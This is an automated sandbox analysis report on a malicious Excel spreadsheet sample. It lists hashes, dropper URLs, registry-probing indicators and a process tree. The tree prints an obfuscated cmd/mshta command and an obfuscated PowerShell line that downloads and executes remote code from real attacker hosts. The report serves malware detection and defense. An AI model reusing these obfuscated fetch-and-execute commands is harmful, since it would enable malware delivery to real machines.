30ec22e5f956439cc697c71a92a8f806335253f5b692b8375cb4acad148b5cd2

General

Target
16dc82035d6df1461d622792f7f8fff7.xls
Size 128KB
Sample220118-d37m2agcg5
SHA256 30ec22e5f956439cc697c71a92a8f806335253f5b692b8375cb4acad148b5cd2
MD5 16dc82035d6df1461d622792f7f8fff7
SHA1 ab488ea5fd0e5758de595360d11899f6d6190400
SHA512 b2829bb4fd88aeac045c51775f582d960a71843d94793c207192ef5006442ef636262b1974b17ad3cef30cdfec27dd6e78187ed4d9bfb66889ad76c06c6094b7
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/PP91.PNG

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	632	3220	cmd.exe	51

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3844	1432	WerFault.exe	58

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3220	EXCEL.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3220	EXCEL.EXE
3220	EXCEL.EXE
3220	EXCEL.EXE
3220	EXCEL.EXE
3220	EXCEL.EXE
3220	EXCEL.EXE
3220	EXCEL.EXE
3220	EXCEL.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\16dc82035d6df1461d622792f7f8fff7.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3220
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  PID:632
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    PID:1432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:2736
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1432 -s 1720
      4⤵
      Program crash
      PID:3844

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 456 -p 1432 -ip 1432
1⤵
PID:2828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3220-130-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

Download

memory/3220-131-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

Download

memory/3220-132-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

Download

memory/3220-133-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

Download

memory/3220-134-0x00007FFD5A490000-0x00007FFD5A4A0000-memory.dmp

Download

memory/3220-143-0x00007FFD58110000-0x00007FFD58120000-memory.dmp

Download

memory/3220-144-0x00007FFD58110000-0x00007FFD58120000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads